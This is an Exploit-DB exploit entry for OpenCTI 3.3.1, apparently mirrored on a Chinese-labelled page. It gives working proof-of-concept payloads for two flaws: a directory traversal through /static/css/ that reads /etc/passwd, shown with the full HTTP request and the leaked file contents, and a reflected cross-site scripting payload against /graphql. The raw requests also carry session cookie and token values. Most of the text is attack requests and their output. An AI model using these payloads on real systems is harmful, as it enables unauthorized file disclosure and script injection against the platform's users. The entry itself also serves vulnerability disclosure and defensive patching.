OpenCTI 3.3.1 – Directory Traversal

  • 作者: Raif Berkay Dincel
    日期: 2020-06-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48595/
  • # Exploit Title: OpenCTI 3.3.1 - Directory Traversal
    # Date: 2020-03-05
    # Exploit Author: Raif Berkay Dincel
    # Vendor Homepage: www.opencti.io/
    # Software [https://github.com/OpenCTI-Platform/opencti/releases/tag/3.3.1]
    # Version: [3.3.1]
    # CVE-ID: N/A
    # Tested on: Linux Mint / Windows 10
    # Vulnerabilities Discovered Date : 2020/03/05 [YYYY/MM/DD]
    
    # As a result of the research, two vulnerability were identified. (Directory Traversal & Cross Site Scripting [XSS])
    # Technical information is provided below step by step.
    
    # [1] - Directory Traversal Vulnerability
    
    # Vulnerable Parameter Type: GET
    # Vulnerable Parameter: TARGET/static/css/[Payload]
    
    # Proof of Concepts:
    https://TARGET/static/css//../../../../../../../../etc/passwd
    
    # HTTP Request:
    
    GET /static/css//../../../../../../../../etc/passwd HTTP/1.1
    Host: TARGET
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: connect.sid=s%3ATkG_XOPI-x4FclzoLAZvx_oBEHaTkG4N.kwp3h9LAyBrG03SzzT8ApZu0CRaUwI5CP7yizXTerYM; opencti_token=df8635b1-39b5-41c2-8873-2f19b0e6ca8c
    Upgrade-Insecure-Requests: 1
    
    # HTTP Response
    
    HTTP/1.1 200 OK
    X-DNS-Prefetch-Control: off
    X-Frame-Options: SAMEORIGIN
    Strict-Transport-Security: max-age=15552000; includeSubDomains
    X-Download-Options: noopen
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 1; mode=block
    Content-Type: text/css; charset=utf-8
    ETag: W/"500-eiHlcjY0lWovE9oQsRof3WWtG1o"
    Vary: Accept-Encoding
    Date: Sun, 03 May 2020 01:25:21 GMT
    Connection: close
    Content-Length: 1280
    
    root:x:0:0:root:/root:/bin/ash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
    news:x:9:13:news:/usr/lib/news:/sbin/nologin
    uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
    operator:x:11:0:operator:/root:/sbin/nologin
    man:x:13:15:man:/usr/man:/sbin/nologin
    postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
    cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
    ftp:x:21:21::/var/lib/ftp:/sbin/nologin
    sshd:x:22:22:sshd:/dev/null:/sbin/nologin
    at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
    squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
    xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
    games:x:35:35:games:/usr/games:/sbin/nologin
    postgres:x:70:70::/var/lib/postgresql:/bin/sh
    cyrus:x:85:12::/usr/cyrus:/sbin/nologin
    vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
    ntp:x:123:123:NTP:/var/empty:/sbin/nologin
    smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
    guest:x:405:100:guest:/dev/null:/sbin/nologin
    nobody:x:65534:65534:nobody:/:/sbin/nologin
    node:x:1000:1000:Linux User,,,:/home/node:/bin/sh
    
    
    # [2] - Cross Site Scripting (XSS) Vulnerability
    
    # Vulnerable Parameter Type: GET
    # Vulnerable Parameter: TARGET/graphql?[Payload]
    
    # Proof of Concepts:
    TARGET/graphql?'"--></style></scRipt><scRipt>alert('Raif_Berkay')</scRipt>
    
    https://TARGET/graphql?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(%27Raif_Berkay%27)%3C/scRipt%3E
    
    # HTTP Request:
    
    GET /graphql?'"--></style></scRipt><scRipt>alert('Raif_Berkay')</scRipt> HTTP/1.1
    Host: TARGET
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: en-us,en;q=0.5
    Cache-Control: no-cache
    Cookie: opencti_token=2b4f29e3-5ea8-4890-8cf5-a76f61f1e2b2; connect.sid=s%3AB8USExilsGXulGOc09fo92piRjpWNtUo.GZ9pmhOf7i1l78t%2BHVk9zh9AQ9BTO%2BHvCRix3iXv6iw
    User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36